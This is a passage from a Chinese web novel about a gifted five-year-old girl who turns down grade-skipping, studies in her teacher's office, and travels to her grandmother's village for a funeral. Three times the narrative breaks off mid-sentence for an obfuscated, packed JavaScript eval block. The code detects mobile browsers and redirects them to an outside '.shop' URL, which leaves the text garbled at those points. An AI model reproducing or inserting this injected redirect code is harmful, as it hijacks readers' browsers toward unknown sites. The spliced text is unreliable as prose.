王钰撇撇嘴:“那么简单的题目,我才不想写嘞。”其他班的老师都没布置作业,但是赵东可能是还没从高中老师的身份缓过来,他每次下课都会布置作业。 小胖明白了,这就是他舅舅说的脾气古怪的高手吧,他立马拍拍胸脯:“交给我!老大,你以后的作业都交给我!我来帮你写!” 沈晓兰拉了拉王钰的衣服:“小宝,这样不好吧” “没事啦。”王钰回头冲她笑,露出小白牙,“反正作业也不难,让他写写呗。” 就这么着,小胖成功挤进了王钰和沈晓兰的小伙伴队伍,成了队伍里最积极的小弟。 —— 王钰今天上课的时候,总是感觉老师在看自己,她一抬头,就看到赵东笑眯眯的看着她,看到王钰看他了,赵东脸上的笑容更大了。 奇怪的老师。 就这样重复几次后,王钰就习惯赵东投来的奇怪的眼神。 赵东现在看到王钰上课发呆睡觉,都不觉得她是来混日子的了,只感叹,天才和常人果然是不一样的。 一下课,王钰就想冲去操场玩,但是赵东一下子就拉住了她:“王钰,来老师办公室一趟,老师找你有点事。” 沈晓兰有些担忧的看着王钰跟着赵东走去办公室。 走进办公室,赵东指了指旁边的凳子:“坐。” 王钰乖乖坐下,小手放在膝盖上,仰着小脸问:“老师,找我干啥呀?” 赵东:“王钰同学,老师知道你很聪明,现在老师在课上讲的东西,你是不是觉得很无聊?” 王钰老实的点点头。 赵东:“那你有没有考虑过跳级?就是跳到五年纪,那样课上讲的就是你没学过的内容,就会有意思很多。”而且,就算是跳到五年级,也是他教。 赵东不知道,王钰已经学到初中知识了。 王钰小手托住下巴仔细思考,然后给出了否定的答案:“我不要。” 这出乎了赵东的意外:“为什么?你不是觉得现在上课很无聊吗?” 王钰说得理直气壮,小手还比划着:“可是,如果我跳级的话,那晓兰就一个人了啊,她会很孤单的。” 赵东尝试劝她:“她不会孤单的,班上还有很多同学呢,你跳级之后才能学到更多有用的东西,对你以后的发展更好,你现在在教室就是在浪费时间。” 但显然,这劝不动王钰:“没关系啊,我可以自学的,我之前都是自学的。” 见劝不动王钰,赵东只好朝他摆了摆手:“好吧,那你先走吧。” 他决定今天下班就去找王钰的父母!绝对不能让一个天才在自己的眼皮子底下浪费时间。 看到王钰安然无恙的回来了,沈晓兰问道:“小宝,老师叫你过去干嘛呀?老师没有骂你吧!” 王钰摇摇头:“没有,老师问我要不要跳级。” 沈晓兰:“什么是跳级啊?” 旁边的小胖替王钰回答了这个问题:“笨!跳级就是不读一年级了,去读别的年级了!老大,你要是跳级,我就跟着你跳!” 沈晓兰着急得看着王钰:“小宝,你要跳级吗?那我也要跳!我不要和你分开。” 王钰拉住沈晓兰的手:“不跳啦,我不会丢下你的,我们是最好的朋友!” 沈晓兰眼泪汪汪的看着王钰:“嗯!” 小胖在旁边连忙补充道:“还有我!还有我!我们三个是最好的好朋友!” —— 王钰放学后回到家放下书包,又和沈晓兰去废品收购站待了一个小时,回家的时候,已经是吃晚饭的时间了。 一家人又是边聊天边吃饭,刚吃完饭收拾完桌子,外面就传来了敲门声。 赵凤霞一打开门,就看见外面站了个年轻人。 赵东看出赵凤霞脸上的疑惑,赶紧介绍自己:“您是王钰的奶奶吧!我是王钰的班主任,也是她的数学老师。” 赵凤霞:“哎呀,老师啊,你好你好,我是王钰的外婆,你找我们有什么事吗?” 刘向华看赵凤霞开门这么久,从里屋走出来问道:“妈,谁啊?” 赵凤霞扭头说:“是小宝的老师。”然后对赵东说:“老师,咱们进来说吧。” 赵东坐下,刘向华介绍自己:“老师,我是王钰的母亲,”她指了指王建军:“他是王钰的父亲。” 赵东:“你们好,这次我来,是想要劝王钰跳级的。” 众人齐声说:“跳级?” 赵东点点头:“你们难道不知道,王钰同学已经至少自学到了小学三年级的内容了吗?现在再让她继续学一年级的东西,对她没有任何好处,所以我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958571|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建议她直接上五年级。” 刘向华知道自己女儿聪明,但没想到会聪明到开学没几天就让老师来家里劝她跳级了。 刘向华问王钰:“小宝,你什么时候自学的?” 王钰理所应当的说:“就这段时间啊,我在房间里看书学的。” 刘向华继续问:“你哪来的书啊?” “妈妈你的啊。” 赵凤霞也出来作证:“是,小宝这段时间都没怎么出去玩了,一有空就待在房间里面看书,书也是我帮她翻出来的。” 刘向华只觉得脑子嗡嗡响,惊喜来得太突然,刘向华没想到自家祖坟冒了自己这个青烟,还能再冒一股青烟,不,这已经不算是冒青烟了,这祖坟都快起大火了。 刘向华高兴的抱起王钰,在她脸上用力亲了好几口:“我的好小宝!真是妈妈的骄傲!太厉害了!” 王建军站在旁边,胸脯挺得高高的,脸上满是骄傲,心里美滋滋地想:果然,聪明老婆才能生聪明娃,这都是随他媳妇! 外婆虽然也高兴王钰这么聪明,但显然没有刘向华两人那么惊讶,她一直对于王钰都是抱有''天下第一聪明小孩''的态度,现在老师亲自来夸奖,她只会觉得,看,我就说我家小宝是最聪明的小孩吧! 赵东清了清嗓子,将所有人的注意拉回自己身上:“那,王钰妈妈,要不要让王钰跳级?” 刘向华看向王钰:“小宝,你想不想要跳级?” 王钰摇摇头:“不想。” 刘向华摸了摸她的头,转头对赵东说:“老师,谢谢你的好意,不过小宝不想跳级,我们就先不跳级了。” 赵东有些着急:“你们考虑孩子的感受自然是好的,但是也不能让孩子自己做这么重要的决定啊,王钰同学现在在课堂上已经学不到东西了,再让她继续上一年级,就只是浪费时间!” 刘向华将自己的担忧说出来:“赵老师,我明白你的意思。可小宝才五岁,刚上几天学,要是跳到五年级,周围都是大孩子,她一个人都不认识,万一受委屈、被欺负了咋办?孩子的学习重要,可跟同学处得来、开开心心的也重要,不能光盯着学习呀。”刘向华毕竟是读了十几年书的,也见过学校里因为不合群被欺负的人。 赵东张了张嘴,想说自己可以会好好看住班上的人,但又反应过来,自己也不可能二十四小时跟在王钰身边,想到这,他只好把话咽了回去。 屋里一下子安静下来了。 王钰从刘向华怀里探出头:“哎呀,你们不用担心啦,我可以自学的,我之前都是自学的,没关系的。” 而且,遇到不懂的地方,天书也可以解答,虽然有时候回答得她听不懂。 赵东最后还是不忍心看着这么一块璞玉在自己手下被埋没:“要不这样,以后王钰同学都跟着我学习?她先自学,遇到不懂的就来问我,我给她辅导。” 刘向华眼睛一亮,连忙给赵东续了杯茶:“这可以吗?会不会太麻烦老师你了?” 赵东摇摇头:“王钰同学的智商很高,她自学的效率也很高,一点也不麻烦。” 赵凤霞反应最快,立马拉王钰到赵东面前:“小宝,快谢谢老师。” 王钰大喊:“谢谢老师——麻烦老师了——” 赵东露出一个笑容:“不用谢,这是老师该做的。” 解决了压在心上的石头,赵东开开心心的回家了。 8. 开小灶 接下来的几天,王钰在其他人上课的时候就直接去赵东办公室自学了,这个小办公室里的老师,除了赵东就只有李丽丽了。 赵东的办公地十分简单,一张掉漆的木头办公桌,两把竹椅,墙角堆着摞作业本,桌上摆着个印着“为人民服务”的搪瓷杯,里面泡着浓茶。 他本是前高中的数学老师,教小学自然绰绰有余,起初还担心王钰偏科,特意拿了小学语文课本试探。结果人家小姑娘捧着书,眯着圆溜溜的眼睛扫了两遍,合上书就能一字不差地背下来。 “赵老师,《牛郎织女》里的牛郎也太坏了!为啥要偷人家织女的衣服,耍流氓!”王钰咂咂嘴,小手撑着桌面,脑袋歪着发表自己“高深”的意见,那小大人似的模样逗得赵东哭笑不得。 后来赵东干脆不操心了,把初中的课本、应用题集都找出来给她,自己则在一旁备课、批改作业,偶尔抬头,就见王钰趴在桌上写写画画,眉头时而皱起,时而舒展开。 起初他还以为王钰只是学到四五年级,但接触后才发现,她已经学到了初中内容了。 有赵东这个老师在旁边,王钰在学习的时候遇到的问题,就直接问赵东了。 虽然天书的知识容量比赵东更大,但显然,教学生,那还是赵东这个老师更在行,天书只会干巴巴的把资料上的内容念出来,也不管资料上的内容,王钰能不能听懂。 现在有了赵东,王钰遇上卡壳的地方,她也不磨蹭,直接拽拽赵东的袖子,声音软乎乎的:“赵老师,这个还有没有更简单的法子呀?” 往往赵东刚开个头,她就眼睛一亮,拍着小手喊:“我知道啦!”然后就扑到自己位置上开始算。 王钰不在教室上课,可把沈晓兰急坏了。 眼看王钰一上午都没回教室,沈晓兰坐立难安,她和小胖,都准备去老师办公室,悄悄“劫狱”了。 两人踮着脚尖往办公室窗户那边挪,办公室的窗户没关严,留着条缝,沈晓兰扒着窗沿,眯着眼睛往里瞧,就见王钰正趴在桌上啃饼干,手里还拿着笔在本子上画着什么,看着挺自在。 沈晓兰压低声音喊,气音细得像蚊子:“小宝——” 王钰没听到,沈晓兰又继续喊:“小宝——” 旁边的小胖看不下去了,憋足了劲儿,扯着嗓子喊:“老大!” 这下不仅王钰听到了,刚从别的班下课回办公室的赵东也听到了,看见两个小脑袋瓜缩在窗台下,顿时板起脸指着两人大喊:“你们这是在干嘛!哎!给我站住!” 两人听到老师的叫声,下意识拔腿就跑,可两条小短腿哪跑得过赵东,没跑两步就被逮住了,被拎着放到了办公室门前,跟拎着两只小鸡似的。 赵东故作严肃地问:“你们两个这是干嘛?” 沈晓兰声音有些颤抖,眼泪在眼眶里打转:“我们想来看看小宝,怕她被老师骂。” 赵东不知道自己该摆出什么表情好,语气里面带着无奈:“那你们就大大方方来啊,悄摸摸躲在窗户那干嘛,我还以为你们想偷东西呢。” 小胖听到这话不高兴了:“我们才不会偷东西!” 赵东也知道自己说错话了,连连道歉:“是老师误会了,既然要看王钰,那进来吧。” 赵东拉开办公室的门,让两人进去。 一进去,沈晓兰就跑过去抱住王钰的胳膊:“小宝——” 显然,刚才确实吓到沈晓兰,这会眼睛还是红的。 王钰嘴里的饼干还没完全咽下去,鼓着腮帮子说不出话,只能伸出小手,轻轻拍着沈晓兰的背。 小胖看王钰面前的书本,疑问:“老大,你今天一早上都在老师办公室干嘛?” 王钰嘴里的饼干终于咽下去了,抹了抹嘴角:“老师说课上讲的东西,我都学会了,让我在办公室自学。” 小胖眼睛一亮,拍着胸脯喊:“我也要在办公室自学!我要追随老大的脚步!” 沈晓兰则更关注别的点,她拉着王钰的手眼泪汪汪的看向王钰:“那小宝,我们以后还能一起玩吗?” 王钰:“当然可以啦,我只是数学课和语文课才在办公室自学,其他课,我都会回教室的。” 沈晓兰这才松了一口气,但她还是皱着小脸,想了一会,最后沈晓兰(小宝重度依赖症)咬咬牙说:“那我也要在办公室学习,我不要和小宝分开。” 赵东没想到居然会有学生主动要求来老师眼皮子底下学习,特别这两个刚才还那么怕自己。 赵东:“你们想来老师这学习,老师没意见,但是你们要回去问问你们的家长。” 小胖家长自然对这个没意见,甚至还美滋滋得给他准备新课本,沈晓兰家长则担心她跟不上进度,但最终也在她哭声下屈服了。 于是,开小灶的人又多了沈晓兰和小胖。 王钰既然当了小胖的老大,就做得有模有样,上学带着他一起,放学也拉着他和沈晓兰到处疯玩。 这天放学,沈晓兰的爸爸给三人做了弹弓,三人兴冲冲地跑到人少的地方射鸟。王钰和沈晓兰两人忙活了半天,眯着眼睛瞄准,拉弓松手,石头要么就落在脚边,要么就是射偏,别说打鸟了,连鸟毛都没碰到一根。 就在两人泄气的时候,旁边的小胖突然举起弹弓,眯着一只眼瞄准,“咻”的一声,石头飞出去,居然精准地打中了一只麻雀! 紧接着他又拉弓、松手,“咻咻”两声,又打下两只!可这三下也把周围里的麻雀全惊飞了,叽叽喳喳地扑棱着翅膀,飞得无影无踪。 王钰惊讶的看着小胖:“小胖,你玩弹弓这么厉害啊。” 小胖得意的抬起下巴:“那是,我可是从两岁开始就玩弹弓了!在弹弓这一块,整个学校就没有比我更会射弹弓的人了!” 王钰和沈晓兰两眼亮晶晶的看着小胖:“快教教我们,快教教我们。” 谁知小胖脑袋一摇,毫不犹豫地拒绝了:“不行,这可是我的独家秘笈,绝不能外传!” 王钰立马垮了脸,露出生气的表情,放狠话:“小气鬼!你等着,我一定会比你更会玩弹弓的!” 旁边的沈晓兰也应声:“没错!你给我们等着!” 这个小团体,此刻临时解散,小胖带着他的几只鸟得意洋洋的回家,王钰和沈晓兰则拎着弹弓失望的回家了。 回到家里,王钰还是气鼓鼓的。 天书安慰她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958572|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :【没事的小宝,小胖就是体育上厉害一点点,是实际上他根本赢不了你。】 王钰的心情还是没好转,鼓着腮帮子:【不行!我一定要打弹弓比他厉害!】 王建军一下班,就被女儿缠上了。 “爸爸,你教我打弹弓好不好?”王钰拉着他的袖子,摇来晃去,带着撒娇的意味。 王建军一听这话,眼睛立马亮了,骄傲的说:“那你可算找对人了,你爸我从小到大都是村里最会打鸟的。”是为了吃鸟肉特意练的。 王建军翻出自己的弹弓,洋洋得意:“当初,我就是用这个弹弓打鸟,有时候,我们家一个星期天天都能吃上鸟肉。” 王钰张大嘴巴,使劲鼓了鼓掌:“哇,好厉害!” 王建军捞起王钰:“走,爸带你打鸟去!” 到了地方,王建军开始手把手地教王钰:“看好了啊,左手举弹弓,瞄准目标,右手拉橡皮筋,屏住呼吸,眼睛、弹弓、目标要成一条直线,然后猛地松手——” 王钰点点头,学得有模有样,小手紧紧攥着弹弓,眯着一只眼睛瞄准。 “对,就是这样!”王建军在旁边鼓励道。 王钰自信满满地松手,结果石头“咚”地落在了脚边,离鸟还有好几米远。她不死心,重整旗鼓,又瞄准一次,松手,石头射偏了,惊得鸟扑棱棱飞了。 王建军看了看王钰的下巴,摸摸下巴:“小宝啊,你年纪太小了,力气也小,所以打不中。等你长大点,力气够了,肯定能打中。” 王钰眼巴巴的看着王建军,小声问:“真的吗?爸爸。” 王建军坚定的点点头:“真的!” “可是小胖说他两岁就能玩弹弓了。” 王建军挥挥手:“他虎你的呢,他两岁路都走不稳。” 王钰心情这才好一点,但是她并没有因为王建军的安慰,而放弃在打鸟这方面上赢过小胖:“爸爸,我要做一个比弹弓还厉害的东西,我把石头放进去,不用我用力拉,石头就可以自己射出去好远!” 王建军愣了愣,仔细琢磨了一下女儿描述的东西。 ……这不就是枪吗? 王建军没放在心上,他甚至还摸了摸头,鼓励王钰:“好,那爸爸我就等着吃你的鸟肉了!” 王钰拍了拍自己的小胸脯,一脸认真:“我肯定可以做出来的!” 晚上躺在床上,王钰问天书:【天书,有没有什么东西,可以不用我拉,就可以把石头射出去,还能射的很远。】 天书:【已为你检索资料——枪械制造。】 听到想要的回答,王钰迫不及待的打开了资料。 五分钟后,王钰两眼失神的关上资料。 【天书,你是不是给错资料了?上面的东西我都看不懂,什么膛线、火药,乱七八糟的!】 天书:【没有给错,是你现在的知识储备不足,加油学习,以后一定能看懂。】 王钰问:【好吧!我一定会好好学习,赢过小胖的!】 只不过,这句雄心壮志的誓言,在她睡了一觉之后,就被抛到脑后去了。第二天一醒来,她就忘了打弹弓的事儿,拉着沈晓兰和小胖,又跑去玩了。 9. 奶奶来了 周末,王建军宣传部没啥事,就照常放假了,刘向华那边的新机器的问题还没解决,今天也要去上班,而才小学一年级的王钰,自然是不用上学了。 太阳都晒到脸上了,王建军才打着哈欠从硬板床上坐起来。 “还是放假舒坦。”王建军拿起一个粗粮馒头,咬了一大口,嚼得津津有味,就着麦乳精喝了一大口,甜丝丝的味道顺着喉咙滑下去,浑身都松快了。 吃完早饭,王建军找了个阴凉的地方,搬来竹躺椅,舒服的躺下。他展开一张有些皱巴的报纸,眼睛却没怎么往上面瞧,光顾着啃红薯干,一副懒洋洋的模样。 赵凤霞估计出去买东西了,不然看到他这副模样,估计又会念叨几句。至于王钰,这丫头片子精力旺得很,这会儿指不定在哪儿疯跑呢。 王建军正眯着眼要打盹,院门外突然传来“咚咚咚”的急促敲门声,力道大得像是要把门撞开,伴随着一声嗓门洪亮的呼喊:“建军!建军!在家没?” 这声音耳熟得很,王建军坐起来,趿着鞋走到门口,拉开门一看,门外站着的竟是大半年没见的亲妈李菊花。 老太太穿着件打了补丁的蓝布褂子,头发扎得整整齐齐,脸上堆着掩不住的笑意,眼角的皱纹都挤到了一块儿。 “妈,你怎么突然来了?”王建军愣了愣,连忙侧身让她进屋。 李菊花一脚踏进门槛,压低了嗓门,语气里却满是兴奋:“你大伯那老东西,去世啦!” 王建军懵了一下,随即反应过来,也高兴起来,咧嘴笑道:“啥?真的假的?那这可是大喜事了!” 不能怪两人这有些缺德的反应,实在是这王大伯之前的行为令人气愤。 当年王建军的爷爷奶奶走得早,他爹王守业当时才十五岁,还是个半大的孩子,家里的十多亩好田,全被比王守业大十岁的王大伯以“代为耕种”的名义抢了去,只留给王守业几亩薄田。 对外说得好听,“弟弟年纪小,种不动地,我先帮着,等他成家了就还给他,我每年都分他口粮”,可实际上,每年秋收后,王大伯家的粮仓堆得满满当当,王守业那几亩薄田收的粮食,连自己都养不活,饿得两眼昏花去求王大伯,却被他拎着棍子赶出门,还在村里到处嚼舌根,说王守业偷他家的钱。 年轻气盛的王守业气红了眼,半夜摸黑去了王大伯家,一把火烧了他家半间偏房,幸好是深夜,没人撞见,王大伯就算疑心是他干的,也没证据。 从那以后,王守业就去了十里八乡有名的木工师傅家当学徒,学了一年多,凭着一手还算不赖的木工活,娶到了附近几个村里出了名的泼辣姑娘李菊花。 李菊花嫁过来一听说这事,当即挽着袖子,拉着王守业就冲到了村长家,拍着桌子骂了大半天,唾沫星子横飞,硬是凭着一股蛮劲,让王大伯把多占的田全都吐了出来。 可这梁子,也算是彻底结下了,两家平日里见面就跟仇人似的,能互相使绊子绝不手软,家里的孩子更是一照面就打架。 最惊险的一次,王大伯的小儿子偷偷把一本英文书藏到了王守业家柴房,转头就叫了小红兵来搜。 那会儿王建军才十多岁,眼尖得很,在小红兵来之前就发现了英文书,并赶紧塞进灶膛里烧了个干净,不然一家子的下场不堪设想。 这么多年的恩怨积下来,王大伯去世的消息,对王建军一家来说,可不就是天大的喜事。 王建军拉着李菊花在竹椅上坐下:“那可要好好庆祝一下,总算是死了,居然让他活到了75岁,真是祸害遗千年。” 李菊花脸上的笑从听到这个消息开始就没下来过:“可不是嘛!我一听说就赶紧来叫你了,你叫上你媳妇,还有那小丫头片子,咱们一起回红旗大队吃席去!” 王建军皱眉:“妈,那是小宝,王钰,别总小丫头片子小丫头片子的叫。” 李菊花听到自己最爱的小儿子反驳自己,有些不太开心,脸上的笑意淡了点,但还是改口了:“行行行,叫王钰,行了吧。快点,咱们今天就走。” 王建军开心归开心,但他不太想回去,回红旗大队得坐大半天牛车,路又烂又颠,满是坑洼和尖石子,一路摇摇晃晃下来,骨头都得散架,对于他这样的懒人,简直就是折磨。 王建军:“咋还要回去,为了个死人还要特意回去,太不值了。” 李菊花一脸“你这就不懂了”的表情:“你这傻小子!咱们家随一份礼钱,去的人越多越划算啊!而且你不想看他们全家哭的样子?” 虽然大家都知道两家人积怨已久,但现在讲究人死债消,人死都死了,作为亲戚,还是要去他家参加这场白事的,如果不去,村长也会上门劝着去。 王建军一琢磨,可不是嘛!一想到王大伯的几个儿子哭天抢地的模样,他心里就美滋滋的,当即拍板:“去!必须去!那糟老头子,总算死了!” 两人正说着话,院门外传来了王钰清脆的笑声,紧接着,赵凤霞挎着篮子,拉着蹦蹦跳跳的王钰走了进来。 赵凤霞一进门看见李菊花,脸上的笑就放下了,她不喜欢王建军,更不喜欢李菊花,别以为她不知道,这老太婆经常在背后骂她闺女,还管她小宝叫死丫头片子。 “死”这个字,是万万不能放在王钰身上的,赵凤霞会应激,因为她真的见过王钰差点死的样子。 即便心里再不爽,赵凤霞也没把情绪摆在脸上,只是淡淡地说了句:“亲家母来了啊。” “嗯。”李菊花也没给好脸色,在她看来,赵凤霞就是抢了她儿子的“外人”。 本来她最疼的小儿子去县城上班,一年到头也回不了几次家,她就够念叨的了,结果赵凤霞还搬过来跟他们一起住,这跟入赘有啥区别? 王建军这几年已经熟悉两人之间冷淡的氛围了,他招呼王钰过来:“来,小宝,叫奶奶,小宝是不是还没见过奶奶。” 说起来不巧,王钰都五岁了,还没见过李菊花,之前很小的时候,还没记忆的时候,王建军有带王钰回过一趟家,但是刚回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958573|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王钰就发烧了两天,差点没熬过去。 后来就没带王钰回去过了,李菊花他们也来过机械厂看过王钰,但很巧,每次都没碰上王钰,不是生病去医院了,就是跟赵凤霞回老家了。 王钰仿佛没看到李菊花的冷脸,走过来,仰着小脸,眼睛弯成了月牙,甜甜地喊了一声:“奶奶好!” 李菊花只是淡淡地“嗯”了一声,连嘴角都没勾一下。 赵凤霞一看这情形,心里的火立马就上来了,冷笑着说道:“这就是长辈该有的样子?孩子跟你打招呼,连句正经回应都没有,也太说不过去了吧。” 李菊花想骂回去,但又想到自己儿子还在人家手底下生活,最后只能咬牙切齿说到:“死丫、王钰,你好啊。” 赵凤霞可没漏听“死丫”两个字,火气更盛了:“哟,叫得比外人还生分,下次你要是带着小宝出门,别人指不定还以为你是人贩子呢!” 李菊花脸上的表情扭曲了一瞬,随即恢复正常:“小宝,小宝行了吧!” 赵凤霞没放过李菊花:“礼物呢?奶奶第一次见到孙女,不得给个见面礼啊!” 李菊花忍不了了,起身叉腰大喊:“赵凤霞!你别太过分!” 李菊花还想继续骂,手心突然被软软的小东西挠了挠。她低头一看,是王钰伸出小手拉住了她,另一只手心里攥着几颗水果糖。 王钰仰着小脑袋,眼睛亮晶晶的,把糖递到李菊花面前:“奶奶,我不要见面礼,这些糖给你吃,可甜啦!” 看着眼前这张跟王建军小时候几乎一模一样的脸蛋,李菊花突然想起,当年小王建军也是这样,把自己的糖(实际上是吃腻了)塞到她手里,说:“妈,这个糖很甜,你吃”。 她的心莫名一软,从口袋里摸了半天,掏出一毛钱,塞进王钰手里:“给你,奶奶哪能要小孩子的糖。这钱你拿着,去买肉包子吃,可别让你外婆又念叨。” 王钰乖乖收下钱,然后小心翼翼地剥开一颗糖的糖纸,踮起脚尖,把糖直接塞进了李菊花嘴里:“奶奶吃,吃了糖就不生气啦。” 甜味在嘴里化开,李菊花愣了愣,看着王钰那双清澈的眼睛,语气复杂地说:“你这丫头,跟你爸小时候还真像。” 除了王建军,她最疼家里的几个男孩,但是这么多年,除了王建军,只有这个丫头喂过糖给她吃。 王建军得意地搂住王钰,拍了拍她的小脑袋:“我女儿,当然是跟我最像了!” 李菊花没再接话,摆了摆手:“行了行了,快让你媳妇收拾收拾,咱们抓紧时间,牛车还在城外等着呢,晚了就赶不上了。” 王建军简单跟赵凤霞解释了一下:“妈,我大伯去世了,我要回去一趟。”说完,就匆匆忙忙的跑去厂里找刘向华了,和之前慢悠悠的样子判若两人。 赵凤霞没想到有一天,居然能看到王建军这么着急的样子,感叹:“他和他大伯感情真不错啊,这么着急。” 李菊花发出意义不明的笑:“是啊,急死了。” 10. 去奶奶家(修) 对于家里人去世这种大事,就算是身为厂长的赵勇,也不能留下刘向华,对两口子说了声“节哀”之后,就放两人离开了。 刘向华回来之后,简单收拾了一下东西,就和王建军带着王钰走了。 回红旗大队的路实在太烂,骑自行车根本没法走,几人只能坐牛车。牛车虽然带着股淡淡的牛粪味,但铺了层稻草,坐着比自行车舒坦多了。 一路上,李菊花和王建军仿佛有说不完的话,因为王钰的长相以及之前喂糖的动作,李菊花对王钰的态度也缓和了很多,至少不会死丫头片子死丫头片子叫了。 就是李菊花和刘向华之间的氛围很冷淡。 李菊花最开始其实还很满意刘向华这个儿媳妇的,城里人,还是大学生,多有面子,还把自己最爱的儿子也带去城里吃供应粮,不用埋土里刨食吃。 但是自从刘向华只生了一个女娃,赵凤霞又搬到和他们两口子一起住,王建军又不常回来,三者的因素夹杂之后,李菊花对刘向华的态度就不明了。 但是也不能表现出什么不满,虽然她怀疑并不是自己儿子不能生,但是她也不敢赌,万一真是自己儿子不能生,她惹恼了儿媳妇,那她儿子可真的娶不到这么好的老婆了,只能就这么不冷不热地相处着。 几个小时的牛车之后,四人终于到了红旗大队,李菊花给牛车主人付了钱之后,就带着人走回家了。 王建军的家在村子的最左边,王大爷爷(既上章的王大伯)的家位于村子的最右边,村口在两家的中间,下了牛车还得走一段土路才能到家。 村里人见李菊花身后跟着一男一女还有个小丫头,都好奇地探着脑袋打量。一个跟李菊花平日里走得近的婶子,干脆停下脚步打招呼:“李婶子,这是你家建军回来了?” 李菊花的声音提得老高,眼角眉梢都带着藏不住的得意:“可不是嘛,特意请假回来的!” “这就是你孙女吧?哎呦喂,这模样可真俊,咱们村子里就没见过这么周正的小姑娘!” 王建军认得眼前的王婶,笑着点头问好:“王婶,身子还硬朗着呢?” 王钰虽不认识人,却半点不怯生,十分自来熟地喊了句:“王奶奶好!” 王婶被这一声喊得心里熨帖,当即从背上的竹篓里掏出几个红彤彤的野果,塞进王钰手里:“城里来的娃就是不一样,又水嫩又懂事!李菊花啊,你以后可有福享咯!” 夸人的话谁不喜欢听,李菊花嘴上客气地挥挥手:“哎,没有,儿孙都是债。” 王婶跟她认识十几年,哪能看不出她那得意劲儿,顺着她的话往下捧:“那肯定是享福的命!你看你家建军,在城里当工人,每个月都给你们寄钱寄东西,现在还特意请假回来看你,这十里八乡的,谁有你这么福气?再说你这孙女,瞧着就是读书人的模样,灵气得很,你就等着享清福吧!” 王钰又十分熟练的说出那句说了不知道多少遍的话:“我以后要上大学,给奶奶买金镯子,替我爸孝敬奶奶!” 这样哄人的话,王钰从小说到大(虽然现在也不大),但李菊花是第一次听,听得她乐开了花。 李菊花主动牵起王钰软乎乎的小手,对着王婶笑道:“这丫头就是嘴巴厉害,随她爹!” 王婶接着说:“能说出这话就不简单了,嘴巴这么甜,长大肯定有出息,你等着被孝顺就完事儿了!” 在王钰和王婶的你一言我一语下,李菊花美得差点当场掏腰包,要带着王钰去镇上扯布做新衣服,好在最后还是强压下了这股冲动。 就这么一路走、一路聊,遇到相熟的村民就停下来寒暄几句,王钰总能恰到好处地说出几句讨喜的话,把大伙都逗得乐呵呵的。李菊花脸上的笑容就没断过,对王钰的态度也越来越热络。 到了家门口,院门口有个被雨水泡软的泥坑,李菊花想都没想,弯腰就把王钰抱了起来,小心翼翼地踩着旁边的石板路走了过去。王钰被放下时,还不忘仰着小脸蛋,乖巧地说:“谢谢奶奶。” 李菊花伸手摸摸她的头,语气是从未有过的温和:“不用客气。”心里却美得不行,这小孙女带出去可太有面子了,见到的人没一个不夸的。 王建军在家排行老四,上面有两个哥哥和一个姐姐。大哥王建国有两个儿子铁蛋和铁柱,二哥王卫国有两个女儿大丫和二丫,姐姐王秀兰嫁到了隔壁村,生了个儿子。四人到家的时候,晚饭刚好准备妥当。 王二伯母看到李菊花进门,连忙迎上来,小声说道:“妈,饭都做好了。” 李菊花点点头,脸色淡淡的“嗯”了一声。 家里人都认识王建军和刘向华,虽说小两口不常回村,可逢年过节也会寄东西回来。大伙正准备打招呼,目光落到李菊花手里牵着的王钰身上,都吓了一大跳。 谁不知道李菊花是出了名的重男轻女?家里的男娃,尤其是她偏疼的小儿子王建军,小时候每周都能吃上鸡蛋和肉,可女娃们,能填饱肚子就不错了。 她还总自诩是好奶奶,毕竟就算重男轻女,也没让哪个孙女饿死,前几年灾荒的时候,他们家可没一个饿死的。 李菊花像个大家长似的发号施令:“春梅,吃完饭你去把房间收拾一下。” 王大伯母连忙应声:“欸,好嘞。” “招娣,等会儿去烧点热水,烧完了去帮春梅搭把手。” 王二伯母也低低应了声:“嗯。” 吩咐完这一大段话,李菊花才带着众人上桌吃饭。这吃饭在李家也是有规矩的。要是随便吃,肯定有的人大口吃肉,有的人连菜汤都喝不上。 李菊花最见不得这样,所以每次开饭,饭菜都得由她亲自分配。 分菜的顺序向来是固定的:男人分最多最好的,其次是孙子们,然后是儿媳妇们和她自己,最后才是孙女们。 今天也不例外,李菊花拿起大铁勺,开始给众人分饭菜。王钰没见过这阵仗,睁着圆溜溜的大眼睛,好奇地盯着李菊花的动作。 在家的时候,她想吃多少就吃多少,没人会限制她。 李菊花按照老规矩,先给家里的男人们分菜,轮到王建军时,铁勺刚要落下,突然对上了王钰砸吧砸吧的大眼睛。 那小眼神清澈又灵动,像是含着星星,李菊花突然鬼使神差地转了勺,给王钰的碗里也盛了一大勺,份量居然跟王建军的差不多。 原本就安安静静的饭 